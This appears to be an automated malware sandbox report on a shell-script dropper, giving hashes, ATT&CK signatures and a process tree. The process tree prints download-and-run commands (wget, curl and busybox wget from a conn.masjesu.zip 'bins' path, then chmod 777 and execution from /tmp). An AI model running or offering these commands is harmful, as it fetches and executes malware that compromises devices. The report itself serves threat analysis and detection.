Analysis
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max time kernel
150s -
max time network
18s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
18/10/2024, 01:44
Static task
static1
Behavioral task
behavioral1
Sample
53c975f02338874d76ba52f3408b54c0a277ff44a0734c5e99c62d929d6c7534.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
53c975f02338874d76ba52f3408b54c0a277ff44a0734c5e99c62d929d6c7534.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
53c975f02338874d76ba52f3408b54c0a277ff44a0734c5e99c62d929d6c7534.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
53c975f02338874d76ba52f3408b54c0a277ff44a0734c5e99c62d929d6c7534.sh
Resource
debian9-mipsel-20240418-en
General
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Target
53c975f02338874d76ba52f3408b54c0a277ff44a0734c5e99c62d929d6c7534.sh
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Size
10KB
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MD5
465a5e1c3b12b954a80ce46b66ed1dfc
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SHA1
2d79f93f29bc375e1e047f7f87bd0e015e297011
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SHA256
53c975f02338874d76ba52f3408b54c0a277ff44a0734c5e99c62d929d6c7534
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SHA512
918aaea5078e2ee2f65ce4cf616f99eb0dd9338d62f18dc90cec672e3e55695f689f24995bcae642021415213bdfdbc597c2b63f078ce7562fd91ae4cc0faa09
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SSDEEP
96:YPjVlIrIHIB2PW6zPRg3LyUpBUL5lPVLs3sLsFWOBLj/R3LHLttULfqfifhnW6aX:oFrL9GNAN+zXUDxcCzXIZ
Malware Config
Signatures
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 731 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b 732 nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 706 wget 721 curl 730 busybox 734 wget 735 curl -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b curl
Processes
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/tmp/53c975f02338874d76ba52f3408b54c0a277ff44a0734c5e99c62d929d6c7534.sh/tmp/53c975f02338874d76ba52f3408b54c0a277ff44a0734c5e99c62d929d6c7534.sh1⤵PID:697
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/bin/rm/bin/rm bins.sh2⤵PID:701
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b2⤵
- System Network Configuration Discovery
PID:706
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:721
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b2⤵
- System Network Configuration Discovery
PID:730
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/bin/chmodchmod 777 nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b2⤵
- File and Directory Permissions Modification
PID:731
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/tmp/nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b./nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b2⤵
- Executes dropped EXE
PID:732
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/bin/rmrm nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b2⤵PID:733
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/hDKuy9WxCvkZuHE009JstUfsFt5F8LJLzy2⤵
- System Network Configuration Discovery
PID:734
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/hDKuy9WxCvkZuHE009JstUfsFt5F8LJLzy2⤵
- Reads runtime system information
- System Network Configuration Discovery
PID:735
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97